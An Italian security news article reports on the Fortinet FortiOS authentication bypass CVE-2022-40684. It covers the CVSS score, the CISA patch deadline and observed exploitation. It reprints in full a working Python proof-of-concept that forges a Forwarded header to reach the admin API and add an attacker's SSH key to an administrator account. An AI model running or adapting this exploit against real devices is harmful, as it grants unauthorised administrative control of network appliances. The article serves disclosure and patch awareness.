Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Il PoC di sfruttamento dell’Authentication Bypass di Fortinet è online

Redazione RHC : 14 Ottobre 2022 15:14

Fortinet ha recentemente corretto una vulnerabilità critica di bypass dell’autenticazione nei progetti FortiOS, FortiProxy e FortiSwitchManager (CVE-2022-40684). Questa vulnerabilità offre a un utente malintenzionato la possibilità di accedere come amministratore al sistema interessato.

È stato reso disponibile un codice exploit proof-of-concept (PoC), rendendo di fatto ancora più essenziale l’installazione delle patch prodotte dal vendor, qualora non siano impostati gli aggiornamenti automatizzati.

“FortiOS espone il portale web di gestione che consente a un utente di configurare il sistema”


PARTE LA PROMO ESTATE -40%

RedHotCyber Academy lancia una promozione esclusiva e a tempo limitato per chi vuole investire nella propria crescita professionale nel mondo della tecnologia e della cybersecurity!

Approfitta del 40% di sconto sull’acquisto congiunto di 3 corsi da te scelti dalla nostra Academy. Ad esempio potresti fare un percorso formativo includendo Cyber Threat intelligence + NIS2 + Criptovalute con lo sconto del 40%. Tutto questo lo potrai fruire, dove e quando vuoi e con la massima flessibilità, grazie a lezioni di massimo 30 minuti ciascuna.

Contattaci tramite WhatsApp al 375 593 1011 per richiedere ulteriori informazioni oppure scriviti alla casella di posta [email protected]



Supporta RHC attraverso:


Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.


ha affermato il ricercatore di sicurezza dell’azienda Horizon3.ai James Horseman .

“Inoltre, un utente può SSH nel sistema che espone un’interfaccia CLI bloccata.”

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

Il problema, rilevato come CVE-2022-40684 (punteggio CVSS: 9,6), riguarda una vulnerabilità di bypass dell’autenticazione che potrebbe consentire a un utente malintenzionato remoto di eseguire operazioni dannose sull’interfaccia amministrativa tramite richieste HTTP(S) appositamente predisposte.

Sfruttare con successo la carenza, equivale a garantire l’accesso completo “per fare qualsiasi cosa” sul sistema interessato, inclusa la modifica delle configurazioni di rete, l’aggiunta di utenti malintenzionati e l’intercettazione del traffico di rete.

Il rilascio del PoC arriva quando Fortinet ha avvertito di essere a conoscenza di uno sfruttamento attivo della falla di sicurezza, spingendo la Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti a emettere un avviso che esorta le agenzie federali a correggere il problema entro novembre 1, 2022.

La società di intelligence sulle minacce GreyNoise ha rilevato 12 indirizzi IP univoci che utilizzavano la CVE-2022-40684 a partire dal 13 ottobre 2022, la maggior parte dei quali si trova in Germania, seguita da Stati Uniti, Brasile, Cina e Francia.

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Arriva Skynet: il malware che Colpisce l’Intelligenza Artificiale!

Un insolito esempio di codice dannoso è stato scoperto in un ambiente informatico reale , che per la prima volta ha registrato un tentativo di attacco non ai classici meccanismi di difesa, ma dir...

Due sviluppatori, una Panda, 14.000 km e zero paura! Cosa ne esce fuori? Nerd in fuga a tutto Open Source!

Prendi una Fiat Panda seconda serie del 2003, con 140.000 km sul groppone, il classico motore Fire 1.1, e nessuna dotazione moderna. Ora immagina di trasformarla in una specie di Cybertruck in miniatu...

In vendita sul dark web l’accesso a una web agency italiana: compromessi oltre 20 siti WordPress

Un nuovo annuncio pubblicato sulla piattaforma underground XSS.is rivela la presunta vendita di un accesso compromesso ai server di una web agency italiana ad alto fatturato. A offrire ...

L’Ospedale Cardarelli lancia l’allarme: attenzione alla truffa via SMS

L’Azienda Ospedaliera Antonio Cardarelli di Napoli ha diramato un avviso urgente alla cittadinanza, segnalando una truffa che sta circolando tramite SMS. Numerosi cittadini hanno riportato di a...

E’ giallo sull’Attacco Informatico in Alto Adige. Sembra essere un disservizio del Power Center

E’ giallo relativamente al presunto attacco informatico avvenuto tra le notte del 23 e il 24 giugno in Alto Adige: dalle prime ore di martedì, infatti, si sono registrati problemi diffusi ...